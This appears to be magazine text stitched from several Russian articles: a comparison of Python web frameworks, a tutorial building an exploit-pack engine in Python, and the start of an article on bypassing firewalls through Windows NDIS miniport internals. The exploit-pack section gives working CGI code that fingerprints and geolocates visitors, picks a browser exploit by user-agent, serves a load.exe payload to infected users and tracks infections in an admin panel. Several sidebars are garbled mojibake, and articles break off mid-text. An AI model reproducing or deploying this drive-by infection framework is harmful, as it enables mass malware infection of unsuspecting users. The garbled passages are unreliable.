DJANGO
Самый популярный на данный момент из своих собратьев. Был разра-
ботан специально для быстрого и удобного написания новостных сайтов 
компании The World Company ее сотрудниками Эдрианом Холовати 
и Симоном Виллисоном. Начал разрабатываться еще с 2000 года, но 
широкой общественности был представлен лишь в середине 2005-го. 
Свое название получил в честь джазового гитариста Джанго Рейнхардта 
(à ÿ äóìàë, ÷òî â ÷åñòü òîãî Äæàíãî èç îäíîèìåííîãî âåñòåð-
íà, êîòîðûé òàñêàë ñ ñîáîé ïóëåìåò â ãðîáó íà âåðåâî÷êå :( 
— Прим. ред.). 
Сайт на Django строится из одного или нескольких приложений, которые 
рекомендуется делать отчуждаемыми и подключаемыми (в отличие, на-
пример, от Ruby on Rails). Одно из самых больших преимуществ Django 
— отличная документация и, пожалуй, самое крупное сообщество среди 
питоновских веб-фреймворков.
Чтобы загрузить первую пробную страницу сразу после установки, требу-
ется всего три действия:
1) Создать новый проект командой django-admin.py startproject mysite.

2) Запустить локальный сервер: python manage.py runserver.
3) Запустить браузер и перейти по адресу http://127.0.0.1:8000 — откро-
ется симпатичное окно с приветствием.
При знакомстве с Django в первую очередь подкупает его встроенный 
интерфейс администратора. В удобной форме он позволяет работать с 
контентом написанного сайта. Необходимо немного изменить настрой-
ки, и по адресу http://127.0.0.1:8000/admin в браузере можно запустить 
страницу, через которую можно управлять контентом (например, про-
сматривать содержимое базы данных и изменять его).  
Архитектура Django несколько отличается от классического MVC. 
Контроллер классической модели MVC примерно соответствует уровню, 
который в Django называется «Вид», а презентационная логика Вида 
реализуется уровнем Шаблонов. Из-за этого уровневую архитектуру 
Django часто называют «Модель-Шаблон-Вид» (MTV). 
Для моделей Django предоставляет уровень абстракции, который избав-
ляет от необходимости писать SQL-запросы для получения/сохранения 
данных в базу данных. Все таблицы, которые используются в прило-
жении, пишутся в виде классов в отдельном файле models.py. Далее 
в коде, при помощи методов этих классов, происходит манипуляция 
содержимым таблиц. Таким образом, работа с базой данных становится 
полностью объектно-ориентированной. Django поддерживает работу с 
основными базами данных (PostgreSQL, SQLite3, MySQL, Oracle).
Также отметим весьма гибкий способ отображения urlов на функции 
приложения — при помощи регулярных выражений.
При разработке приложения удобно пользоваться встроенным серве-
ром — он автоматически определяет изменения в файлах исходного 
кода проекта и перезапускается. Результат внесенных в код изменений 
сразу же отображается на веб-странице браузера, но использовать его в 
качестве «боевого» крайне не рекомендуется, так как однопоточен и не 
предусматривает никаких мер безопасности. Для этих целей придется 
настраивать нормальный сервер (например, Apache). Назовем некото-
рые недостатки Django:
• Язык шаблонов хоть и простой, но не очень «питоничен».
• Не слишком удобная работа с AJAX;
• Некоторым кажется, что в нем многовато «магии»;
• Могут возникнуть трудности при замене компонентов (если ты не 
дружишь с регулярными выражениями, которые широко используются 
при отображении url’ов, то тебе может захотеться использовать другой 
диспетчер). Бытует мнение, что Django-разработчики частенько изо-
бретают велосипеды (правда, Django дает возможность делать это легко 
и быстро).

PYLONS
Pylons появился в сентябре 2005-го на основе Paste (набора утилит для 
разработки веба на Python’e; это своего рода фреймворк для фрейм-
ворков). Его создатель — Бен Бангерт. Среди всех фреймворков именно 
Pylons лучше всего отвечает WSGI-архитектуре, причем он был задуман 
таким с самого начала. В мире фреймворков он является своего родом 
антиподом Django. Все его компоненты образуют middleware-стек (о 
котором упоминалось чуть выше при описании WSGI). Программист мо-
жет заменить любую из составляющих этого стека на другой middleware. 
Такой подход делает Pylons потрясающе гибким! Между прочим, нечто 
сходное можно увидеть у Unix-систем. Те следуют принципу: лучше 
много ускоспециализированных утилит, каждую из которых можно заме-
нить на что-то более подходящее, чем одна большая, которая умеет все. 
Очень сильное влияние на него оказал набиравший тогда популярность 
Ruby On Rails — такие важные компоненты как Routes и WebHelpers 
взяты именно из RoR.
Pylons содержит следующие компоненты: Paste как веб-сервер, 
SQLAlchemy для ORM, Mako (или Myghty) для шаблонов, Routes как диспет-
чер url-запросов. Полезными функциями обладает WebHelpers (напри-
мер, работа с AJAX, создание RSS). Еще раз подчеркну, что любой из этих 
компонентов можно заменить по вкусу. Таким образом, Pylons закрывает 
практически все вышеупомянутые недостатки Django: гибкость в выборе 
компонентов, удобная работа с AJAX. К тому же, имевшие ранее дело с Ruby 
On Rails сразу почувствуют себя в своей тарелке. Тем не менее, Pylons не 
лишен недостатков. Как ни странно, они вытекают из его достоинств:
• Pylons не занимается документацией, поддержкой и улучшением 
компонентов, которые в нем можно использовать — эта ответственность 
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лежит на производителях компонент. В результате, если, 
к примеру, ты наталкиваешься на баг при использова-
нии SQLObject, то трудно понять, кто виноват: Pylons или 
SQLObject. Отсюда также следует, что чаще всего докумен-
тацию придется искать не по Pylons, а по какому-то отдель-
ному компоненту. И не всегда он бывает документирован 
надлежащим образом.
• Отметим меньший размер комьюнити по сравнению с 
Django или TurboGears. Но не стоит из этого делать поспеш-
ных выводов о качестве. Например, есть возможность без 
проблем установить контакт непосредственно с лидерами 
проекта. Кроме того, баги фиксятся быстро и эффективно 
(что не всегда можно сказать о том же Django). 

TURBOGEARS
Так же, как и Django, TurboGears был разработан для 
быстрого создания новостных сайтов. Но его автор, Кевин 
Дангор, пошел по другому пути. Дело в том, что когда Django 
создавался (2000), еще не существовало необходимых 
компонент (например, SQL ORM), поэтому разработчикам 
пришлось создавать собственные решения. TurboGears 
же разрабатывался позже, поэтому перед Кевином был 
довольно богатый выбор уже готовых компонент. Кевин вы-
брал лучшие и разработал новый фреймворк — TurboGears. 
Были выбраны: CherryPy для диспетчеризации url как 
http-сервер и система конфигурации; Kid для шаблонов; 
SQLObject для базы данных; MochiKit для Javascript. 
Поскольку тогда не было подходящих компонент для 
интерфейса администратора, авторизации пользователей, 
работы с формами, то они были разработаны с нуля. 
Однако такой подход поставил TurboGears в зависимое 
положение от развития выбранных сторонних компонент, 
что и привело к неприятным последствиям. Поддержка Kid 
прекратилась, и ему на смену пришел Genshi. SQLAlchemy 
начал вытеснять SQLObject. Были обнаружены недостатки в 
библиотеках Javascript. К тому же, некоторые пользователи 
требовали WSGI, Routes и Cheetah. Пришлось принимать 

меры: проблему с шаблонами решили, разработав новый 
шаблонный движок Buffet, были написаны HOWTOs для 
SQLAlchemy; CherryPy 3 начал поддерживать WSGI и 
Routes. 
Разработчики пришли к мысли, что понятие «лучший 
компонент» субъективно и непостоянно. Фокус был смещен 
в сторону гибкости, которой изначально TurboGears (как и 
Django) был обделен. Именно поэтому в 2007 году свет уви-
дел TurboGears2, который был построен на основе Pylons. 
Конечно, это не значило, что TurboGears слился с Pylons, 
хотя событие и сблизило комьюнити обоих фреймворков. 
TurboGears по-прежнему держит курс на использование 
сторонних, дружественных к пользователю компонент, 
Pylons же концентрирует усилия на компонентах, состав-
ляющих его «ядро». Оба стараются использовать общие 
компоненты для общих нужд (например, хотя Pylons и 
использует по умолчанию для шаблонов Mako, он также 
поддерживает использование Genshi, который характерен 
для TurboGears). На данный момент поддерживаются обе 
ветки: 1.х и 2.х, но рекомендуется по возможности пере-
ходить на 2.x.
Недостатки:
• Недальновидная ставка на «лучшие сегодня»  компонен-
ты (со временем ситуация может измениться); 
• Неполная совместимость 1.x и 2.x версий;
• По сравнению с Django: не такая полная документация 
(местами содержит рецепты и примеры, а не справочники); 
менее прозрачная схема urlов. 

ZOPE
Как уже упоминалось, Zope был первым из полноценных 
питоновских веб-фреймворков, и его архитектура доста-
точно сильно отличается от архитектуры собратьев. Осо-
бенностью Zope является объектно-ориентированность: 
все данные представляются в виде компонентов, 
занимающих определенное место в общей иерархии 
и хранящихся во встроенной объектной базе данных 

• http://djbook.ru 
— русский пере-
вод книги по Django 
(правда, местами еще 
неполный). 
• http://pyobject.ru/
blog/2007/01/31/
concepts-of-pylons 
— описание Pylons, 
сравнение с Django и 
TurboGears.
• http://en.wikipedia.
org/wiki/Comparison_
of_web_application_
frameworks 
— сравнение 
веб-фреймворков (не 
только Питоновских).

links

HTTP://WWW

info

• Один из создателей 
Django — профессио-
нальный журналист, 
и это лучшим образом 
сказалось на качестве 
документации!

• Сразу после выхода 
TurboGears приобрел 
огромную популяр-
ность: за первые 3 
месяца было скачано 
более 30000 скрин-
кастов.

• В Zope Corpo-
ration (фирме-
создательнице Zope) 
с 2000 по 2003 год 
работал сам Гвидо 
ван Россум (автор 
Python’a).

INFO

MI (ZOPE MANAGEMENT 
INTERFACE) — ИНТЕРФЕЙС 
УПРАВЛЕНИЯ ОБЪЕКТАМИ 
ZOPE
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(ZoBD). По сути, программирование в Zope сводится к проектирова-
нию иерархии компонентов. Многие фишки Zope стали следствием 
такого подхода. Например, механизм acquisition — нечто похожее на 
наследование в ООП: каждый объект наследует поведение и свойства 
объектов, в иерархии которых находится (родителей). По правде 
говоря, такое поведение может послужить источником сюрпризов, 
поэтому в Zope3 использование механизма сделали явным. Многие 
ставили Zope в упрек монолитность и громоздкость, поэтому в конце 
2004 года общественность увидела Zope3. Главным отличием стала 
модульность фреймворка, что придало ему еще большую гибкость. 
Причем, он не поддерживал обратной совместимости с Zope2, что обу-
словило внедрение парадигм Zope3 в прежнюю Zope2. Таким образом, 
сейчас развиваются обе ветки. С 2007 года появилась возможность 
устанавливать модули, пользуясь питоновской egg-технологией. На 
данный момент это единственный способ обновлять Zope3 (последнее 
обновление «одним куском» 3.4 было в начале 2009 года и больше не 
предвидится). Zope — активно развивающийся стабильный продукт. 
В 2006 появился Grok — новый веб-фреймворк, расширяющий идеи 
Zope3. 

TWISTED
Основывается на парадигме событийно-ориентированного 
программирования: следуя ей, пользователь пишет короткие 
функции обратного вызова, которые затем вызываются фреймвор-
ком. Цент ральной является концепция отложенных вычислений. 
Вычисление некоторого выражения может оказаться невоз-
можным (например, для этого требуются данные от удаленного 
клиента). Такие выражения могут существовать в виде объектов, 
но их значение не может быть запрошено. С каждым выражением 
связана цепочка функций обратного вызова. Когда необходимые 
данные становятся доступными, результат вычисления выраже-
ния передается по этой цепочке. Работа с потоками организована 
по тому же механизму. 

CHERRYPY
Одной из целей создателя языка — Реми Делона — было сотво-
рение библиотеки, которая бы максимально соответствовала 
питоновскому стилю (как раз то, чего порой не хватает Django или 
Zope). Это позволило разработчикам использовать фреймворк как 
любой обычный модуль Python и не думать об особенностях веб-
программирования. 
CherryPy представляет собой надстройку над http-протоколом, но 
остается на низком уровне. Он может выступать в качестве самостоя-
тельного веб-сервера или работать под управлением другого сервер-
ного приложения, поддерживающего протокол WSGI. Он не занимается 
такими задачами, как обработка шаблонов для вывода данных, доступ к 
базе данных и авторизация пользователя. Фреймворк расширяется за 
счет фильтров, простых интерфейсов, состоящих из функций, которые 
вызываются в определенных точках процесса обработки запросов/от-
ветов.
Как уже упоминалось, CherryPy был выбран в качестве компонента 
TurboGears для диспетчеризации url как http-сервер и система конфи-
гурации, что говорит о том, что в то время он был лучшим.

ЗАКЛЮЧЕНИЕ
Из множества питоновских веб-фреймворков пока можно выделить 
трех фаворитов: Django, Pylons и TurboGears. И если с последним у 
некоторых могут возникнуть сомнения, то Django и Pylons можно смело 
рекомендовать для разработки сайта. Если тебя привлекает гибкость и 
модульность — значит, выбор падает на Pylons. Если устраивает целост-
ный, хорошо настроенный и документированный набор компонент — 
используй Django. 
В действительности, каждый фреймворк имеет свои удобства 
(иначе он бы не приобрел известность). Фреймворк — это всего 
лишь инструмент, и то, какой будет выбран, в первую очередь 
должно зависеть от поставленной задачи, и только потом от его 
популярности.z

СРАВНЕНИЕ НЕКОТОРЫХ ФРЕЙМВОРКОВ
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Fiesta, Fire-Pack, IcePack, Tornado и множество других связок сплоитов 
знает мир хакеров, но ни одна из них не написана на Python’е. 
Этот пробел мы и будем устранять.

С
вязка сплоитов — это web-система, которая объединяет 
несколько сплоитов. При заходе пользователя на страничку 
сплоиты применяются, вследствие чего происходит загрузка 
полезного программного обеспечения (бота, трояна, кейло-

гера) на компьютер юзера. Кроме того, связка ведет статистику, где фик-
сирует, кто заходил на страницу, и кто из юзеров был «пробит» сплоитом 
и заражен трояном. Мы разберем технологию, как практически реализу-
ется эта связка, но не будем внедряться в сам процесс сплоитописания 
(поскольку это тема отдельной статьи, а точнее — целой сотни статей).

ИТАК, В НАШЕЙ ПЛАНИРУЕМОЙ СВЯЗКЕ Я БЫ ВЫДЕЛИЛ ЧЕТЫРЕ 
ЧАСТИ:
•  выбор сплоита;
•  отдача полезной нагрузки;
•  админка;
•  сплоиты.
Для чего нужна каждая часть, мы подробно узнаем в процессе ее реали-
зации.

ЫНДЕКС.PY
Первая и самая главная часть, далее именуемая «Ы», на запрос поль-
зователя должна проанализировать его браузер и отдать страницу с тем 
сплоитом, который с наибольшей вероятностью «пробьет» юзера. Кроме 
того, скрипт занесет в базу данных статистику о пользователе. Мы будем 
реализовывать простой вариант, когда пользователю отдается только 
один сплоит. Разумеется, в большинстве случаев лучше использовать 
несколько сплоитов, которые поочередно применяются ротором на 
JavaScript, но эту идею мы прибережем для следующих релизов.
Реагировать на запрос юзера будем через cgi (о нем читай во врезке). 
Для тестирования этого хозяйства лучше всего скачать Denwer и модуль 
к нему для Python’а (я уже скачал, установил, настроил для тебя, так что 
просто копируй с нашего диска и запускай).
Первый модуль будет полностью содержаться в файле Ындекс — index.
py. Для отображения страницы с использованием CGI надо указать, что 
скрипт написан на Python’e, и еще нужно обязательно указать заголовок с 
полем Content-type, пустую строку для отделения заголовка от основного 
тела и непосредственно наш HTML:

ГРУЗИ 
СПЛОИТЫ БОЧКАМИ!
Пишем движок для сплоит-связки на Python

CODING
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#!/usr/bin/python

# -*- coding: utf-8 -*-

print 'Content-type: text/html'

print

print '<h1>XEK</h1>'

Чтобы разрешить CGI, еще нужно создать файл .htaccess со строчкой:

Options +ExecCGI

CGI-интерфейс, кроме отдачи страницы в браузер, позволяет получать 
некоторую дополнительную информацию. В первую очередь нас интере-
сует, откуда юзер пришел — referer, его IP, а также User-agent — все это 
хранится в переменной environ из модуля os. Получить их можно вот так:

import os

ip = os.environ["REMOTE_ADDR"]

ua = os.environ["HTTP_USER_AGENT"]

rf = os.environ["HTTP_REFERER"]

Более красивый способ, через GET:

ua = os.environ.get("HTTP_USER_AGENT",'N/A')

Если User-agent не определен, тогда переменной будет присвоен 
второй аргумент, строка ‘N/A’.
Информацию о пользователе мы получили. Настало время сохра-
нить ее в базу данных (мы используем SQLite). Кстати, совсем забыл 
— в статистику лучше добавить и страну происхождения юзера. 
Для этих целей используются специальные базы соответствия 
IP-адреса и страны. Мы будем использовать бесплатную версию 
базы с сайта http://maxmind.com. Чтобы работать с ней легко и не-
принужденно, скачай библиотеку с сайта http://code.google.com/p/
pygeoip. Скопируем эту библиотеку и базу в папку pygeoip. Тогда в 
нашем скрипте Ындекс.py станет возможным использовать код:

import pygeoip

gi = pygeoip.GeoIP('./pygeoip/GeoIP.dat')

cc = gi.country_code_by_addr(ip)

В результате его работы в переменной ‘cc’ появится сокращение 
страны — ru, ua, us. Чрезвычайно удобная библиотека!

SQLITE
Вернемся к SQLite. Для примера напишем скрипт инсталляции 
install.py и разместим его в папке data. Он будет создавать пустую 
базу данных с двумя таблицами:

КОД СКРИПТА INDEX.PY

#!/usr/bin/python

# -*- coding: utf-8 -*-

import os

import sqlite3

import pygeoip

ip = os.environ.get("REMOTE_ADDR", 127.0.0.1')

ua = os.environ.get("HTTP_USER_AGENT", '')

rf = os.environ.get("HTTP_REFERER", '')

gi = pygeoip.GeoIP('./pygeoip/GeoIP.dat')

cc = gi.country_code_by_addr(ip)

conn = sqlite3.connect('./data/base.db')

conn.execute('INSERT INTO enter (ip,ua,rf,cc) \

  VALUES (?,?,?,?)',(ip,ua,rf,cc))

conn.commit()

conn.close()

for fname in os.listdir('sploits'):

  if fname.endswith('.py'):

    plugin_name = fname[:-3]

    if plugin_name != '__init__':

      plugins=__import__('sploits.'+plugin_name)

      plugin = getattr(plugins,plugin_name)

      if plugin.init(ua):

        plugin.run()

        exit()

print 'Status: 404 Not Found'

print 'Content-type: text/html'

print

print 'Not Found'

КОД СКРИПТА LOAD.PY

#!/usr/bin/python

# -*- coding: utf-8 -*-

import os,sys

import sqlite3

import pygeoip

from StringIO import StringIO

# çäåñü ñòàòèñòèêà, àíàëîãè÷íàÿ index.py

try:   # Windows only

  import msvcrt

  msvcrt.setmode(sys.stdout.fileno(),os.O_BINARY)

except ImportError: pass

print 'Content-Type: application/x-octetstream'

print 'Content-Disposition: attachment; \

  filename=load.exe'

print 'Content-Title: load.exe'

print

sys.stdout.write(

   file(r"./data/load.exe", "rb").read() )
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РАЗУМЕЕТСЯ, В БОЛЬШИНСТВЕ 
СЛУЧАЕВ ЛУЧШЕ ИСПОЛЬ-
ЗОВАТЬ НЕСКОЛЬКО СПЛОИ-
ТОВ, КОТОРЫЕ ПООЧЕРЕДНО 
ПРИМЕНЯЮТСЯ РОТОРОМ НА 
JAVASCRIPT.



• На диске покоятся 
полные скрипты 
написанной связки 
сплоитов.

• Без демонстраци-
онного видео я тебя 
не оставлю — смотри 
его с нашего диска.

dvd

DVD

• Крупнейшее вме-
стилище багов: 
milw0rm.com.
• IDE PyScripter: 
code.google.com/p/
pyscripter.
• Сайт SQLite: 
www.sqlite.org.
• Сайт Python’a: 
python.org.

links

HTTP://WWW

import sqlite3

conn = sqlite3.connect('base.db')

conn.execute("CREATE TABLE enter \

  (id INTEGER PRIMARY KEY AUTOINCREMENT, ip, \

  ua, rf, cc, date DEFAULT CURRENT_TIMESTAMP)")

conn.execute("CREATE TABLE load \

  (id INTEGER PRIMARY KEY AUTOINCREMENT, ip, \

  ua, rf, cc, date DEFAULT CURRENT_

TIMESTAMP)")

conn.commit()

conn.close()

В первой строчке мы импортируем библиотеку для работы 
с sqlite3. Далее — создаем подключение к базе данных; 
если файла нет, то он сразу будет создан автоматически. 
Затем к базе данных мы делаем два SQL-запроса по 
созданию таблиц: одну для сохранения информации всех 
пользователей, которые зашли на связку, а вторая — для 
зараженных юзеров. Как видим, SQL-синтаксис не-
сколько упрощен тем, что не указывается тип поля, потому 
что типы полей при создании таблицы декларативные. 
При сохранении записи движок сам определяет, в каком 
формате их сохранять. Тип данных конкретного столб-
ца может меняться от строки к строке. Также мы видим 
созданные нашими руками два автоматических поля; 
первое — автоинкрементный ключ, а второе — поле date. В 
него автоматически записывается текущая дата и время. 
Теперь в наш файл Ындекс.py можно добавить строчки для 
ведения статистики:

conn = sqlite3.connect('./data/base.db')

conn.execute('INSERT INTO enter (ip,ua,rf,cc)\

  VALUES (?,?,?,?)',(ip,ua,rf,cc))

conn.commit()

conn.close()

Сюда желательно добавить проверочку на предмет 
установления факта «а заходил ли пользователь к нам 
раньше?». Если заходил — продемонстрировать ошибку 
404. Этот код ты сможешь реализовать сам или подсмотреть 
в исходнике на нашем диске.

ЗАГРУЗКА ПЛАГИНОВ 
СО СПЛОИТАМИ
После сбора статистики обычно следует проверка на 
браузер, результат которой определит выбор конкретного 
сплоита из списка. Мы поступим чуть красивее — будем 
использовать плагины, размещенные в папке data/sploits. 
Каждый сплоит представляет собою файл, содержащий 
две функции — init и run. Функция init на вход получает 
user-agent и определяет, сможет ли она пробить браузер; 
если да — возвращает 1, если нет — 0. А мы в свою очередь, 
если получили 1, запускаем функцию run, которая встав-
ляет эксплоит в страницу. С плагинами мы уже работали 
во время написания jabber-бота для администрирования, 
а код, который загрузит все плагины и запустит их, можно 
подсмотреть на врезке.
Если же мы обработали все плагины и они с прискорбием 
сообщили, что не смогут пробить браузер пользователя, — 
придется показать тому страницу с ошибкой 404:

print 'Status: 404 Not Found'

print 'Content-type: text/html'

print

print 'Not Found'

Сами сплоиты зачастую выглядят так: вначале идет обыч-
ная проверка на версию браузера и операционной систе-
мы, а дальше, в run — вывод или правильного яваскрипта, 
или картинки/флешки, или другого интересного объекта:

def init(ua):

   if ua.find('Opera/9.6') and \

      ua.find('Windows NT'):
         return 1

   return 0

def run(url):

   print "Content-type: text/html"

   print

   print '''

<script language=JavaScript>

function dc(x){var l=x.

length,b=1024,i,j,...'''
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CGI 
CGI (от англ. Common Gateway 
Interface — «общий интер-
фейс шлюза») — ñòàíäàðò 

èíòåðôåéñà, èñïîëüçóåìîãî äëÿ 

ñâÿçè âíåøíåé ïðîãðàììû ñ âåá-

ñåðâåðîì.
Ñàì èíòåðôåéñ ðàçðàáîòàí òàê, 
÷òîáû ìîæíî áûëî èñïîëüçîâàòü 
ëþáîé ÿçûê ïðîãðàììèðîâàíèÿ, 

êîòîðûé ìîæåò ðàáîòàòü ñî 
ñòàíäàðòíûìè óñòðîéñòâàìè 

ââîäà/âûâîäà. Òàêèìè âîçìîæ-
íîñòÿìè îáëàäàþò äàæå ñêðèïòû 
äëÿ âñòðîåííûõ êîìàíäíûõ 
èíòåðïðåòàòîðîâ îïåðàöèîííûõ 

ñèñòåì, ïîýòîìó â ñëó÷àÿõ, êîãäà 
íåò íóæäû â ñëîæíîé ôóíê-
öèîíàëüíîñòè, ìîãóò èñïîëüçî-

âàòüñÿ ýòè ïðîñòûå êîìàíäíûå 
ñêðèïòû.
Õîòÿ ìû è èñïîëüçóåì CGI äëÿ 

ïðèìåðà èç-çà ïðîñòîòû, íà 
ïðàêòèêå îí óñòóïàåò àëüòåð-
íàòèâàì (FastCGI, SCGI, WSGI 
è ïð.).



ОТДАЧА ПОЛЕЗНОЙ НАГРУЗКИ
Сработавший в браузере сплоит всегда старается загрузить на ЭВМ 
юзера полезный груз — в нашем случае со скрипта load.py. Этот скрипт 
должен сначала занести статистику в файл базы, а затем — отдать 
нагрузку, файл load.exe. Со статистикой мы уже разобрались — код, 
аналогичный таковому из Ындекс.ру, но вносит он данные не в таблицу 
enter, а в load.
В отдаче файла есть один нюанс, связанный с виндой, потому что в ней 
нужно указывать поток буфера вывода и работать в бинарном режиме:

import msvcrt

msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)

Далее следуют обычные строчки с типом контента и вывод в буфер вы-
вода:

sys.stdout.write( \

 file(r"./data/load.exe", "rb").read() )

АДМИНКА
Админка — технически самая простая и одновременно самая трудоем-
кая часть. В ней нужно реализовать вывод множества статистических 
данных. Здесь мы реализуем минимальный функционал с выводом 
таблицы enter и load. Главная часть кода состоит из нескольких простых 

строчек, а остальную часть можно посмотреть на диске:

conn = sqlite3.connect('./../data/base.db')

for row in conn.execute("select * from %s \

    order by date desc" % table):

  print '<tr>'

  print '<td>%s</td><td>%s</td>' \

    % (row[0], row[1])

  print '</tr>' 

conn.close()

NAME IT!
Итак, связка создана. Можно хоть сейчас загружать в нее пару сплоитов 
и заливать на сервак. Хотя нет, осталась одна очень важная часть — на-
звание связки. «Как вы яхту назовете — так она и поплывет», поэтому я 
поименую наш сегодняшний крейсер «Sergant Sploit Pack».  Вот когда в 
него будут добавлены сплоиты, шифрование сплоитов и JavaScrip ротор 
— тогда и переименуем в General Sploit Pack. В общем, пользуйся нашим 
примером для изучения питона, но ни в коем случае не порабощай 
машины бедных ушастых юзеров! А если возникнут вопросы — зада-
вай их мне, грешному. Кроме того, не забудь заглянуть на диск с целью 
поиска ништяков, поскольку и тут мы тебя не обманем — сорцы, бонусы 
и z-видео, демонстрирующее работу нашей связки со старенькой 
оперой, не разочаруют. Адиос! z

SQLite
SQLite — ýòî âñòðàèâàåìàÿ áàçà 
äàííûõ. Ñëîâî «âñòðàèâàåìàÿ» 

îçíà÷àåò, ÷òî SQLite íå èñïîëüçó-
åò ïàðàäèãìó êëèåíò-ñåðâåð; òî 
åñòü äâèæîê SQLite íå ÿâëÿåòñÿ 

îòäåëüíî ðàáîòàþùèì ïðîöåñ-
ñîì, ñ êîòîðûì âçàèìîäåéñòâóåò 
ïðîãðàììà, à ïðåäîñòàâëÿåò 
áèáëèîòåêó, ñ êîòîðîé ïðîãðàì-
ìà êîìïîíóåòñÿ, âñëåäñòâèå ÷åãî 

äâèæîê ñòàíîâèòñÿ ñîñòàâíîé 
÷àñòüþ ïðîãðàììû. Òàêèì 
îáðàçîì, â êà÷åñòâå ïðîòîêîëà 

îáìåíà èñïîëüçóþòñÿ âûçîâû 

ôóíêöèé (API) áèáëèîòåêè 
SQLite. Ïîäîáíûé ïîäõîä óìåíü-
øàåò íàêëàäíûå ðàñõîäû, âðåìÿ 
îòêëèêà è óïðîùàåò ïðîãðàììó. 

SQLite õðàíèò âñþ áàçó äàííûõ 
(âêëþ÷àÿ îïðåäåëåíèÿ, òàáëè-
öû, èíäåêñû è äàííûå) â åäèí-

ñòâåííîì ñòàíäàðòíîì ôàéëå 
íà òîì êîìïüþòåðå, íà êîòîðîì 
èñïîëíÿåòñÿ ïðîãðàììà. Ïðî-
ñòîòà ðåàëèçàöèè äîñòèãàåòñÿ 
çà ñ÷åò òîãî, ÷òî ïåðåä íà÷àëîì 

èñïîëíåíèÿ òðàíçàêöèè âåñü 
ôàéë, õðàíÿùèé áàçó äàííûõ, 
áëîêèðóåòñÿ; ACID-ôóíêöèè 

äîñòèãàþòñÿ, â òîì ÷èñëå, çà 
ñ÷åò ñîçäàíèÿ ôàéëà-æóðíàëà. 

Íåñêîëüêî ïðîöåññîâ èëè ïî-
òîêîâ ìîãóò îäíîâðåìåííî áåç 
êàêèõ-ëèáî ïðîáëåì ÷èòàòü 

äàííûå èç îäíîé áàçû. Çàïèñü â 
áàçó ìîæíî îñóùåñòâèòü òîëüêî 
â òîì ñëó÷àå, åñëè íèêàêèõ äðó-

ãèõ çàïðîñîâ â äàííûé ìîìåíò 
íå îáñëóæèâàåòñÿ; â ïðîòèâíîì 
ñëó÷àå ïîïûòêà çàïèñè îêàí÷è-
âàåòñÿ íåóäà÷åé, è â ïðîãðàììó 
âîçâðàùàåòñÿ êîä îøèáêè. 

Äðóãèì âàðèàíòîì ðàçâèòèÿ ñî-
áûòèé ÿâëÿåòñÿ àâòîìàòè÷åñêîå 
ïîâòîðåíèå ïîïûòîê çàïèñè â 

òå÷åíèå çàäàííîãî èíòåðâàëà 
âðåìåíè. Áëàãîäàðÿ àðõèòåêòóðå 
äâèæêà, âîçìîæíî èñïîëüçî-

âàòü Sqlite êàê íà âñòðàèâàåìûõ 
(embedded) ñèñòåìàõ, òàê è íà 

âûäåëåííûõ ìàøèíàõ ñ ãèãà-
áàéòíûìè ìàññèâàìè äàííûõ.
Ñàìà áèáëèîòåêà SQLite íàïè-

ñàíà íà C; ñóùåñòâóåò áîëüøîå 
êîëè÷åñòâî ïðèâÿçîê ê äðóãèì 
ÿçûêàì ïðîãðàììèðîâàíèÿ, 
â òîì ÷èñëå C++, Java, .NET, 
Python, Perl, PHP, Tcl (ñðåäñòâà 

äëÿ ðàáîòû ñ Tcl âêëþ÷åíû â 
êîìïëåêò ïîñòàâêè SQLite), 
Ruby, Haskell, Scheme, Smalltalk, 

Lua è ìíîãèì äðóãèì. Â 2005 
ãîäó ïðîåêò ïîëó÷èë íàãðàäó 
Google-O’Reilly Open Source 
Awards.

КАК IDE ДЛЯ 
PYTHON
ИСПОЛЬЗОВАЛ 
PYSCRIPTER
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С завидной периодичностью мы публикуем различные кодерские мето-
ды обхода огненных стен. Оно и понятно — противостояние брони 
и снаряда продолжается, новые версии фаеров, проактивок и интегри-
рованных систем безопасности выходят более чем часто. Не отстают от 
девелоперов и злобные кодеры. Они спускаются все ниже и ниже, 
в самые потаенные уголки ядра операционной системы.
 

Н
еопытному программеру кажется, что, проникнув в ядро 
Windows, можно делать там все, что вздумается, однако это не 
так. Разработчики файрволов, проактивных систем и антиви-
русов (в большинстве своем) хлеб зря не едят, оставляя мало 

простора для действий честного хакера, вздумавшего поставить систему 
под контроль. Но кое-какие лазейки все же остаются...

ОСНОВЫ ОСНОВ
Что такое минипорт? Это, упрощенно говоря, виртуальное представле-
ние интерфейса сетевого устройства — то, как видит сетевую карту ядро 
операционной системы. Минипорт является своеобразным посредни-
ком между чипсетом сетевого адаптера и ядром ОС. Драйверы минипор-
та напрямую (точнее, через HAL — Hardware Abstraction Layer) взаимо-
действуют с сетевым адаптером на самом низком уровне, предоставляя 
некий абстрактный, общий для всех сетевых адаптеров, интерфейс к 
своему сетевому адаптеру другим драйверам и самой операционной 
системе. 

В отличие от высокоуровневых драйверов, драйверы минипорта имеют 
две дополнительные функции, называемые ISR (Interrupt Service 
Routine — обработчик прерывания) и DpcForIsr (Deferred Procedure Call 
— процедура отложенных вызовов). ISR является высокоприоритетной 
процедурой, вызываемой при получении прерывания от устройства 
(например, при получении пакета из сети). В этой процедуре необходимо 
выполнить ряд самых необходимых действий, чтобы не задерживать 
надолго выполнение других процессов. В частности, — запретить 
устройству генерировать данное прерывание. DPC имеет более низкий 
приоритет при планировании потоков и вызывается непосредственно 
после ISR, если это требуется. Обычно в DPC производится обмен дан-
ными с устройством (например, программирование контроллера DMA 
для переписывания вновь пришедшего кадра в оперативную память 
машины из буферной памяти устройства). Такой драйвер, как правило, 
входит в поставку самой сетевой карты.
При разработке драйверов сетевых карт разработчик должен четко 
следовать правилам, установленным той или иной версией NDIS, потому 

ТУШИМ 
ФАЙРВОЛЫ 
ПО-НОВОМУ
Новые stealth-технологии на службе злобных программеров

CODING
 АЛЕКСАНДР  ЭККЕРТ   ALEKSANDR-EHKKERT@RAMBLER.RU



что, как ты помнишь, NDIS именно так и переводится — «Network Driver 
Interface Specification», то бишь — «спецификация интерфейса сете-
вого устройства». Впрочем, за более подробным описанием действий 
разработчиков я отсылаю тебя к MSDN. В настоящее время актуальной 
является как NDIS 5.1 (w2k/XP/2003), так и 6.0 (для Windows Vista).

МИНИПОРТ И ВСЕ-ВСЕ-ВСЕ
В ядре минипорт сетевой карты представлен в виде структуры NDIS_
MINIPORT_BLOCK. Она заполняется кучей всяческих данных при реги-
страции минипорта вызовом системной функции NdisMRegisterMiniport. 
Этот вызов происходит в драйвере сетевой карты при его загрузке. 
NDIS_MINIPORT_BLOCK — одна из самых важных структур при работе 
